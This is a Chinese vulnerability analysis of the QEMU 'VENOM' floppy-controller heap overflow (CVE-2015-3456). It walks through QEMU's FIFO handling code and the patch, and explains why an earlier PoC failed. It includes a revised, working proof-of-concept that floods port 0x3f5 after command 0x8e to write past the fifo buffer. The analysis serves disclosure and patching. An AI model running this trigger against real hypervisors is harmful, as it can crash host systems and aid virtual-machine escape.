VENOM "毒液"漏洞分析（qemu kvm CVE‐2015‐3456）
昨天FreeBuf发布了《漏洞预警：“毒液（VENOM）”漏洞影响全球数百万虚拟机安全（附POC）》一文，报道了这个名为“毒液”（VENOM，编号CVE-2015-3456）的安全漏洞威胁到了整个安全行业，可以造成虚拟机逃逸，以下是360安全中心团队对“毒液”漏洞的深入分析。
漏洞简介
CrowdStrike的Jason Geffner发现开源计算机仿真器QEMU中存在一个和虚拟软盘控制器相关的安全漏洞，代号VENOM，CVE编号为CVE-2015-3456。利用此漏洞攻击者可以在有问题的虚拟机中进行逃逸,并且可以在宿主机中获得代码执行的权限。更多详情见作者博客[1]
背景知识
此漏洞位于qemu的虚拟软驱控制器的模拟代码中。下面介绍几个关于软驱的几个重要的地方。
控制寄存器
软驱控制器是由9个寄存器进行控制的，这些寄存器可以通过端口0x3f0-0x3f7进行访问(0x3f6除外[2])。软驱控制器寄存器的定义如下:
enum FloppyRegisters
{
STATUS_REGISTER_A = 0x3F0, // read‐only
STATUS_REGISTER_B = 0x3F1, // read‐only
DIGITAL_OUTPUT_REGISTER = 0x3F2,
TAPE_DRIVE_REGISTER = 0x3F3,
MAIN_STATUS_REGISTER = 0x3F4, // read‐only
DATARATE_SELECT_REGISTER = 0x3F4, // write‐only
DATA_FIFO = 0x3F5,
DIGITAL_INPUT_REGISTER = 0x3F7, // read‐only
CONFIGURATION_CONTROL_REGISTER = 0x3F7 // write‐only
};
漏洞相关的寄存器是DATA_FIFO。
MSR
同时软驱控制器的MSR标记位表明当时软驱控制器的状态。此次漏洞相关的MSR标记位的定义如下表:
FIFO命令
命令是向DATA_FIFO写入的一个小于32的单字节的值，每个命令后面都要跟着一些指定长度的参数。命令的ID定义如下所示:
enum {
FD_CMD_READ_TRACK = 0x02,
FD_CMD_SPECIFY = 0x03,
FD_CMD_SENSE_DRIVE_STATUS = 0x04,
FD_CMD_WRITE = 0x05,
FD_CMD_READ = 0x06,
FD_CMD_RECALIBRATE = 0x07,
FD_CMD_SENSE_INTERRUPT_STATUS = 0x08,
FD_CMD_WRITE_DELETED = 0x09,
FD_CMD_READ_ID = 0x0a,
FD_CMD_READ_DELETED = 0x0c,
FD_CMD_FORMAT_TRACK = 0x0d,
FD_CMD_DUMPREG = 0x0e,
FD_CMD_SEEK = 0x0f,
FD_CMD_VERSION = 0x10,
FD_CMD_SCAN_EQUAL = 0x11,
FD_CMD_PERPENDICULAR_MODE = 0x12,
FD_CMD_CONFIGURE = 0x13,
FD_CMD_LOCK = 0x14,
FD_CMD_VERIFY = 0x16,
FD_CMD_POWERDOWN_MODE = 0x17,
FD_CMD_PART_ID = 0x18,
FD_CMD_SCAN_LOW_OR_EQUAL = 0x19,
FD_CMD_SCAN_HIGH_OR_EQUAL = 0x1d,
FD_CMD_SAVE = 0x2e,
FD_CMD_OPTION = 0x33,
FD_CMD_RESTORE = 0x4e,
FD_CMD_DRIVE_SPECIFICATION_COMMAND = 0x8e,
FD_CMD_RELATIVE_SEEK_OUT = 0x8f,
FD_CMD_FORMAT_AND_WRITE = 0xcd,
FD_CMD_RELATIVE_SEEK_IN = 0xcf,
};
更多见OSDev wiki上的关于软驱控制器的文章。
漏洞分析
1.POC触发不了
国外一名安全研究者Marcus Meissner发布了此漏洞poc如下:
#include <sys/io.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3);
outb(0x0a,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}
我们可以看到,都是向DATA_FIFO端口写入数据，笔者拿到poc先在自己的机器上测试发现poc并不能触发，先不管原因，我们先来分析下qemu对FIFO命令的处理。
2.FIFO命令处理流程
经过分析,我们可以得出其流程如下。
首先qemu将FIFO的处理函数以及命令对应的参数个数等信息存放在一个表中,如下所示:
static const struct {
uint8_t value;
uint8_t mask;
const char* name;
int parameters;
void (*handler)(FDCtrl *fdctrl, int direction);
int direction;
} handlers[] = {
{ FD_CMD_READ, 0x1f, "READ", 8, fdctrl_start_transfer, FD_DI
R_READ },
{ FD_CMD_WRITE, 0x3f, "WRITE", 8, fdctrl_start_transfer, FD_DI
R_WRITE },
{ FD_CMD_SEEK, 0xff, "SEEK", 2, fdctrl_handle_seek },
{ FD_CMD_SENSE_INTERRUPT_STATUS, 0xff, "SENSE INTERRUPT STATU
S", 0, fdctrl_handle_sense_interrupt_status },
{ FD_CMD_RECALIBRATE, 0xff, "RECALIBRATE", 1, fdctrl_handle_re
calibrate },
{ FD_CMD_FORMAT_TRACK, 0xbf, "FORMAT TRACK", 5, fdctrl_handl
e_format_track },
{ FD_CMD_READ_TRACK, 0xbf, "READ TRACK", 8, fdctrl_start_trans
fer, FD_DIR_READ },
{ FD_CMD_RESTORE, 0xff, "RESTORE", 17, fdctrl_handle_restore
}, /* part of READ DELETED DATA */
{ FD_CMD_SAVE, 0xff, "SAVE", 0, fdctrl_handle_save }, /* part
of READ DELETED DATA */
{ FD_CMD_READ_DELETED, 0x1f, "READ DELETED DATA", 8, fdctrl_st
art_transfer_del, FD_DIR_READ },
{ FD_CMD_SCAN_EQUAL, 0x1f, "SCAN EQUAL", 8, fdctrl_start_trans
fer, FD_DIR_SCANE },
{ FD_CMD_VERIFY, 0x1f, "VERIFY", 8, fdctrl_start_transfer, F
D_DIR_VERIFY },
{ FD_CMD_SCAN_LOW_OR_EQUAL, 0x1f, "SCAN LOW OR EQUAL", 8, fdct
rl_start_transfer, FD_DIR_SCANL },
{ FD_CMD_SCAN_HIGH_OR_EQUAL, 0x1f, "SCAN HIGH OR EQUAL", 8, fd
ctrl_start_transfer, FD_DIR_SCANH },
{ FD_CMD_WRITE_DELETED, 0x3f, "WRITE DELETED DATA", 8, fdctr
l_start_transfer_del, FD_DIR_WRITE },
{ FD_CMD_READ_ID, 0xbf, "READ ID", 1, fdctrl_handle_readid },
{ FD_CMD_SPECIFY, 0xff, "SPECIFY", 2, fdctrl_handle_specify },
{ FD_CMD_SENSE_DRIVE_STATUS, 0xff, "SENSE DRIVE STATUS", 1, fd
ctrl_handle_sense_drive_status },
{ FD_CMD_PERPENDICULAR_MODE, 0xff, "PERPENDICULAR MODE", 1, fd
ctrl_handle_perpendicular_mode },
{ FD_CMD_CONFIGURE, 0xff, "CONFIGURE", 3, fdctrl_handle_config
ure },
{ FD_CMD_POWERDOWN_MODE, 0xff, "POWERDOWN MODE", 2, fdctrl_han
dle_powerdown_mode },
{ FD_CMD_OPTION, 0xff, "OPTION", 1, fdctrl_handle_option },
{ FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATI
ON COMMAND", 5, fdctrl_handle_drive_specification_command },
{ FD_CMD_RELATIVE_SEEK_OUT, 0xff, "RELATIVE SEEK OUT", 2, fdct
rl_handle_relative_seek_out },
{ FD_CMD_FORMAT_AND_WRITE, 0xff, "FORMAT AND WRITE", 10, fdctr
l_unimplemented },
{ FD_CMD_RELATIVE_SEEK_IN, 0xff, "RELATIVE SEEK IN", 2, fdctr
l_handle_relative_seek_in },
{ FD_CMD_LOCK, 0x7f, "LOCK", 0, fdctrl_handle_lock },
{ FD_CMD_DUMPREG, 0xff, "DUMPREG", 0, fdctrl_handle_dumpreg },
{ FD_CMD_VERSION, 0xff, "VERSION", 0, fdctrl_handle_version },
{ FD_CMD_PART_ID, 0xff, "PART ID", 0, fdctrl_handle_partid },
{ FD_CMD_WRITE, 0x1f, "WRITE (BeOS)", 8, fdctrl_start_transfe
r, FD_DIR_WRITE }, /* not in specification ; BeOS 4.5 bug */
{ 0, 0, "unknown", 0, fdctrl_unimplemented }, /* default handl
er */
};
表的每一项都定义了相应命令的一些信息，这里我们将被一项称为一个Handler下同。当qemu接收到FIFO命令之后，通过命令的ID找到这个命令的Handler，然后再根据这个Handler中保存的参数的个数来继续接收参数。并将命令ID和参数放在一个buffer中。在接受完参数后调用相应的处理函数。整个FIFO写操作派发流程都是在函数fdctrl_write_data里。
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
...
//
// 这里对msr的状态进行检查.见背景知识中的msr一段.
// 这里必须FD_MSR_RQM置位，就是说控制器已经准备好交换数据了
// FD_MSR_DIO必须置0，说明控制器不能处在要被读的状态
//
if (!(fdctrl‐>msr & FD_MSR_RQM) || (fdctrl‐>msr & FD_MSR_DIO))
{
FLOPPY_DPRINTF("error: controller not ready for writin
g\n");
return;
}
//
// 如果参数为0说明此次为命令字节。这里通过命令ID找到相应的
// Handler.获取参数的个数
//
if (fdctrl‐>data_pos == 0) {
pos = command_to_handler[value & 0xff];
FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
//
// 获取参数个数
// +1是为了加上command id
//
fdctrl‐>data_len = handlers[pos].parameters + 1;
fdctrl‐>msr |= FD_MSR_CMDBUSY;
}
...
//
// 将传入字节保存到fdctrl‐>fifo这个buffer中.
//
fdctrl‐>fifo[fdctrl‐>data_pos++] = value;
//
// 判断参数是否已经保存完成，如果参数保存完成就调用相应的处理函数
//
if (fdctrl‐>data_pos == fdctrl‐>data_len) {
pos = command_to_handler[fdctrl‐>fifo[0] & 0xff];
(*handlers[pos].handler)(fdctrl, handlers[pos].direction);
}
}
在处理函数中如果有返回的数据。控制器模拟代码则调用fdctrl_set_fifo这个函数来设置MSR的状态为FD_MSR_DIO,已表示控制器处在可被读状态。注意：设置完以后控制器是不可读的见fdctrl_write_data开始的那个检查。fdctrl_set_fifo代码如下：
static void fdctrl_set_fifo(FDCtrl *fdctrl, int fifo_len)
{
fdctrl‐>data_dir = FD_DIR_READ;
fdctrl‐>data_len = fifo_len;
fdctrl‐>data_pos = 0;
fdctrl‐>msr |= FD_MSR_CMDBUSY | FD_MSR_RQM | FD_MSR_DIO;
}
如果没有要返回的数据或者返回的数据已经被客户机通过IN指令读取完了，则会调用fdctrl_reset_fifo来重置FIFO。即将FIFO置为可写状态。fdctrl_reset_fifo：
static void fdctrl_reset_fifo(FDCtrl *fdctrl)
{
fdctrl‐>data_dir = FD_DIR_WRITE;
fdctrl‐>data_pos = 0;
fdctrl‐>msr &= ~(FD_MSR_CMDBUSY | FD_MSR_DIO);
}
3.为什么不能触发
通过以上流程的分析，我们再来看Marcus Meissner公布的poc的流程：
首先发送一个id为0xa的控制命令。我们可以看到id为0xa的命令为FD_CMD_READ_ID,其对应的处理函数为fdctrl_handle_readid,参数个数为1个。
{ FD_CMD_READ_ID, 0xbf, "READ ID", 1, fdctrl_handle_readid },
之后又会写入一个0×42作为READ_ID命令的参数。接下来进入到fdctrl_handle_readid函数内。经过笔者调试fdctrl_handle_readid这个函数启动了一个定时器。在定时器被触发的时候程序调用了fdctrl_set_fifo来生成返回数据。所以接下来的向FIFO写0×42的操作完全没有用，被fdctrl_write_data开始的fdctrl->msr & FD_MSR_DIO这个检查给拦下了。所以这个poc在笔者的机器上并不能触发。
4.新的触发方式
我们先来看下补丁的代码：
‐‐‐ a/hw/block/fdc.c
+++ b/hw/block/fdc.c
@@ ‐1497,7 +1497,7 @@ static uint32_t fdctrl_read_data(FDCtrl *fdc
trl)
{
FDrive *cur_drv;
uint32_t retval = 0;
‐ int pos;
+ uint32_t pos;
cur_drv = get_cur_drv(fdctrl);
fdctrl‐>dsr &= ~FD_DSR_PWRDOWN;
@@ ‐1506,8 +1506,8 @@ static uint32_t fdctrl_read_data(FDCtrl *fdc
trl)
return 0;
}
pos = fdctrl‐>data_pos;
+ pos %= FD_SECTOR_LEN;
if (fdctrl‐>msr & FD_MSR_NONDMA) {
‐ pos %= FD_SECTOR_LEN;
if (pos == 0) {
if (fdctrl‐>data_pos != 0)
if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
@@ ‐1852,10 +1852,13 @@ static void fdctrl_handle_option(FDCtrl *f
dctrl, int direction)
static void fdctrl_handle_drive_specification_command(FDCtrl *fdc
trl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
+ uint32_t pos;
‐ if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x80) {
+ pos = fdctrl‐>data_pos ‐ 1;
+ pos %= FD_SECTOR_LEN;
+ if (fdctrl‐>fifo[pos] & 0x80) {
/* Command parameters done */
‐ if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x40) {
+ if (fdctrl‐>fifo[pos] & 0x40) {
fdctrl‐>fifo[0] = fdctrl‐>fifo[1];
fdctrl‐>fifo[2] = 0;
fdctrl‐>fifo[3] = 0;
@@ ‐1955,7 +1958,7 @@ static uint8_t command_to_handler[256];
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
FDrive *cur_drv;
‐ int pos;
+ uint32_t pos;
/* Reset mode */
if (!(fdctrl‐>dor & FD_DOR_nRESET)) {
@@ ‐2004,7 +2007,9 @@ static void fdctrl_write_data(FDCtrl *fdctr
l, uint32_t value)
}
FLOPPY_DPRINTF("%s: %02x\n", __func__, value);
‐ fdctrl‐>fifo[fdctrl‐>data_pos++] = value;
+ pos = fdctrl‐>data_pos++;
+ pos %= FD_SECTOR_LEN;
+ fdctrl‐>fifo[pos] = value;
if (fdctrl‐>data_pos == fdctrl‐>data_len) {
/* We now have all parameters
* and will be able to treat the command
可以看到基本上就是补了一些对fdctrl->fifo这个buffer下标的一些防止越界的操作。我们可以肯定这个肯定是个写越界操作了。按照这个思路我们查看了所有命令的处理函数，发现FD_CMD_DRIVE_SPECIFICATION_COMMAND的处理函数有问题。先看下FD_CMD_DRIVE_SPECIFICATION_COMMAND命令的Handler,如下:
{ FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATION C
OMMAND", 5, fdctrl_handle_drive_specification_command }
命令处理函数为fdctrl_handle_drive_specification_command，参数个数为5。再来看下fdctrl_handle_drive_specification_command函数的实现：
static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
//
// 签名这个判断是我们可以控制的
//
if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x80) {
if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x40) {
fdctrl‐>fifo[0] = fdctrl‐>fifo[1];
fdctrl‐>fifo[2] = 0;
fdctrl‐>fifo[3] = 0;
fdctrl_set_fifo(fdctrl, 4);
} else {
fdctrl_reset_fifo(fdctrl);
}
} else if (fdctrl‐>data_len > 7) { /*这里的判断是有问题的地方*/
fdctrl‐>fifo[0] = 0x80 |
(cur_drv‐>head << 2) | GET_CUR_DRV(fdctrl);
fdctrl_set_fifo(fdctrl, 1);
}
}
我们找到fdctrl->data_len > 7这个判断是有问题的。我们从fdctrl_write_data这个函数开始，首先传进命令字节FD_CMD_DRIVE_SPECIFICATION_COMMAND，然后依次传进5个参数。按照fdctrl_write_data的流程进入处理函数fdctrl_handle_drive_specification_command时fdctrl->data_len 应该是6，所以我们让fdctrl_handle_drive_specification_command的第一个判断里fdctrl->fifo[fdctrl->data_pos - 1]是我们可控的再加上下面的这个fdctrl->data_len > 7这个判断也为否，就绕过了所有调用fdctrl_set_fifo和fdctrl_reset_fifo的地方就是控制器的状态还是可写，而且buffer没有被清空。然后我们就可以无限次向fdctrl->fifo里写入数据，从而超出fdctrl->fifo的边界造成越界写。
fdctrl->fifo的初始化是在fdctrl_realize_common里面:
static void fdctrl_realize_common(FDCtrl *fdctrl, Error **errp){
//
// qemu_memalign最终会调用malloc分配内存
//
fdctrl‐>fifo = qemu_memalign(512, FD_SECTOR_LEN);
fdctrl‐>fifo_size = 512;
}
5.可重现POC
#include <sys/io.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3);
outb(0x8e,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}
6.重现成功
linux guest:
windows guest:
漏洞总结
这个漏洞为典型的堆溢出漏洞，其表现形式为越界写操作。此漏洞的利用可能还是很大的。另外即使虚拟机没有设置软驱，其漏洞还是无法避免的。鉴于该漏洞属于高危漏洞，建议尽快在源码层面上对QEMU实现补丁升级。
[1] 作者博客：http://venom.crowdstrike.com/
[2] IO端口0x3F6是ATA（硬盘）备用状态寄存器，并且不使用任何软盘控制器。
*本文作者：progmboy、noirfate、cyg07@360安全卫士（企业帐号），转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）